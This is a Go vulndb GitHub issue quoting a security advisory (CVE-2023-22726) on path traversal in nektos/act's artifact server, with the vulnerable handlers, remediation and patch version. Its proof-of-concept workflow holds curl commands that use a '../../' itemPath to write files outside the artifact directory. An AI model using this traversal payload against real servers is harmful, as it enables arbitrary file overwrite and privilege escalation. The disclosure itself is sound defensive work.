Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

x/vulndb: potential Go vuln in github.com/nektos/act: GHSA-pc99-qmg4-rcff #1504

Closed
GoVulnBot opened this issue Jan 20, 2023 · 3 comments
Assignees
Labels
excluded: EFFECTIVELY_PRIVATE This vulnerability exists in a package can be imported, but isn't meant to be outside that module.

Comments

@GoVulnBot
Copy link

In GitHub Security Advisory GHSA-pc99-qmg4-rcff, there is a vulnerability in the following Go packages or modules:

Unit Fixed Vulnerable Ranges
github.com/nektos/act 0.2.40 <= 0.2.39

Cross references:
No existing reports found with this module or alias.

See doc/triage.md for instructions on how to triage this report.

modules:
  - module: github.com/nektos/act
    versions:
      - introduced: TODO (earliest fixed "0.2.40", vuln range "<= 0.2.39")
    packages:
      - package: github.com/nektos/act
description: |-
    ### Impact
    The artifact server that stores artifacts from Github Action runs does not sanitize path inputs. This allows an attacker to download and overwrite arbitrary files on the host from a Github Action. This issue may lead to privilege escalation.


    #### Issue 1: Arbitrary file upload in artifact server (GHSL-2023-004)
    The [/upload endpoint](https://github.com/nektos/act/blob/v0.2.35/pkg/artifacts/server.go#LL103C2-L103C2) is vulnerable to path traversal as filepath is user controlled, and ultimately flows into os.Mkdir and os.Open.

    ```
    router.PUT("/upload/:runId", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
    		itemPath := req.URL.Query().Get("itemPath")
    		runID := params.ByName("runId")

    		if req.Header.Get("Content-Encoding") == "gzip" {
    			itemPath += gzipExtension
    		}

    		filePath := fmt.Sprintf("%s/%s", runID, itemPath)
    ```

    #### Issue 2: Arbitrary file download in artifact server (GHSL-2023-004)
    The [/artifact endpoint](https://github.com/nektos/act/blob/v0.2.35/pkg/artifacts/server.go#L245) is vulnerable to path traversal as the path is variable is user controlled, and the specified file is ultimately returned by the server.

    ```
    router.GET("/artifact/*path", func(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
    		path := params.ByName("path")[1:]

    		file, err := fsys.Open(path)
    ```

    #### Proof of Concept
    Below I have written a Github Action that will upload secret.txt into the folder above the specified artifact directory. The first call to curl will create the directory named 1 if it does not already exist, and the second call to curl will upload the secret.txt file to the directory above the specified artifact directory.

    When testing this POC, the `--artifact-server-path` parameter must be passed to act in order to enable the artifact server.
    Replace yourIPandPort with the IP and port of the server. An attacker can enumerate /proc/net/tcp in order to find the artifact server IP and port, but this is out of the scope of this report. Please let me know if you would like a copy of this script.

    ```
    name: CI
    on: push

    jobs:
      test:
        runs-on: ubuntu-latest
        steps:
        - run: echo "Here are some secrets" > secret.txt
        - run: curl http://<yourIPandPort>/upload/1?itemPath=secret.txt --upload-file secret.txt
        - run: curl http://<yourIPandPort>/upload/1?itemPath=../../secret.txt --upload-file secret.txt
    ```

    ### Remediation
    1. During implementation of [Open and OpenAtEnd for FS](https://github.com/nektos/act/blob/master/pkg/artifacts/server.go#L65), please ensure to use ValidPath() to check against path traversal. See more here: https://pkg.go.dev/io/fs#FS
    2. Clean the user-provided paths manually

    ### Patches
    Version 0.2.40 contains a patch.

    ### Workarounds
    Avoid use of artifact server with `--artifact-server-path`
cves:
  - CVE-2023-22726
ghsas:
  - GHSA-pc99-qmg4-rcff

@julieqiu julieqiu added the excluded: EFFECTIVELY_PRIVATE This vulnerability exists in a package can be imported, but isn't meant to be outside that module. label Jan 25, 2023
@julieqiu julieqiu self-assigned this Jan 30, 2023
@gopherbot
Copy link
Contributor

Change https://go.dev/cl/464316 mentions this issue: data/excluded: batch add excluded reports

@gopherbot
Copy link
Contributor

Change https://go.dev/cl/592759 mentions this issue: data/reports: unexclude 75 reports

@gopherbot
Copy link
Contributor

Change https://go.dev/cl/606781 mentions this issue: data/reports: unexclude 20 reports (1)

gopherbot pushed a commit that referenced this issue Aug 20, 2024
  - data/reports/GO-2023-1270.yaml
  - data/reports/GO-2023-1283.yaml
  - data/reports/GO-2023-1285.yaml
  - data/reports/GO-2023-1291.yaml
  - data/reports/GO-2023-1292.yaml
  - data/reports/GO-2023-1294.yaml
  - data/reports/GO-2023-1377.yaml
  - data/reports/GO-2023-1388.yaml
  - data/reports/GO-2023-1449.yaml
  - data/reports/GO-2023-1461.yaml
  - data/reports/GO-2023-1462.yaml
  - data/reports/GO-2023-1463.yaml
  - data/reports/GO-2023-1465.yaml
  - data/reports/GO-2023-1468.yaml
  - data/reports/GO-2023-1469.yaml
  - data/reports/GO-2023-1471.yaml
  - data/reports/GO-2023-1492.yaml
  - data/reports/GO-2023-1502.yaml
  - data/reports/GO-2023-1504.yaml
  - data/reports/GO-2023-1509.yaml

Updates #1270
Updates #1283
Updates #1285
Updates #1291
Updates #1292
Updates #1294
Updates #1377
Updates #1388
Updates #1449
Updates #1461
Updates #1462
Updates #1463
Updates #1465
Updates #1468
Updates #1469
Updates #1471
Updates #1492
Updates #1502
Updates #1504
Updates #1509

Change-Id: Ic7939af0290afe43600530ce10f5af9f2a0f7408
Reviewed-on: https://go-review.googlesource.com/c/vulndb/+/606781
Reviewed-by: Damien Neil <dneil@google.com>
Auto-Submit: Tatiana Bradley <tatianabradley@google.com>
LUCI-TryBot-Result: Go LUCI <golang-scoped@luci-project-accounts.iam.gserviceaccount.com>
# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
excluded: EFFECTIVELY_PRIVATE This vulnerability exists in a package can be imported, but isn't meant to be outside that module.
Projects
None yet
Development

No branches or pull requests

3 participants